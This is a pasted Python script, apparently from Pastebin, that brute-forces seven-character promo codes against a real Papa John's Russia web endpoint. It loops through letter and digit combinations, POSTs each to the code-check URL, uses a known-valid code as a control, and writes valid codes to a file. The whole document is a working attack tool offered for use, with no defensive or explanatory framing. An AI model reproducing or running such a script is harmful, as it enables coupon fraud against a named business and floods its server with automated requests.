Advertisement
Guest User

Untitled

a guest
Jun 20th, 2018
71
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.28 KB | None | 0 0
  1. import requests
  2. import string
  3. import json
  4.  
  5.  
  6. LETTERS = 'abcdefghijklmnopqrstuvwxyz1234567890'
  7. MARKER = 'love'
  8.  
  9.  
  10. def normalize(s):
  11. """
  12. Remove unprintable characters from string
  13. :param s: String to normalize
  14. :return:
  15. """
  16.  
  17. my_own_list = set([ord(x) for x in string.printable])
  18. result = ""
  19. for p in s:
  20. if p in my_own_list:
  21. result += chr(p)
  22. return result
  23.  
  24.  
  25. def check_key(key):
  26.  
  27. """
  28. Update data in DB
  29. :return:
  30. """
  31.  
  32. URL = 'https://dolgoprudniy.papajohns.ru/stock/stock/getbycode/'
  33. # Скачиваем страницу
  34. html = ""
  35. headers = {'X-Requested-With': 'XMLHttpRequest'}
  36. response = requests.post(URL + key, allow_redirects=False, headers=headers)
  37. res = json.loads(response.text)
  38. return res['stock']
  39.  
  40.  
  41. def brute():
  42. with open('result.txt', 'w') as file:
  43. for a in LETTERS:
  44. for b in LETTERS:
  45. if a != b:
  46. for c in LETTERS:
  47. if b != c:
  48. for d in LETTERS:
  49. if c != d:
  50. for e in LETTERS:
  51. if d != e:
  52. if not check_key(MARKER):
  53. print("!!! ***TEST NOT PASSED. ABORTING*** !!!")
  54. file.write("!!! ***TEST NOT PASSED. ABORTING*** !!!")
  55. return
  56. for f in LETTERS:
  57. if e != f:
  58. for g in LETTERS:
  59. if f != g:
  60. if check_key(a+b+c+d+e+f+g):
  61. print("Valid: " + a+b+c+d+e+f+g)
  62. file.write(a+b+c+d+e+f+g)
  63. else:
  64. print("Invalid: " + a+b+c+d+e+f+g)
  65.  
  66.  
  67. if __name__ == '__main__':
  68. brute()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement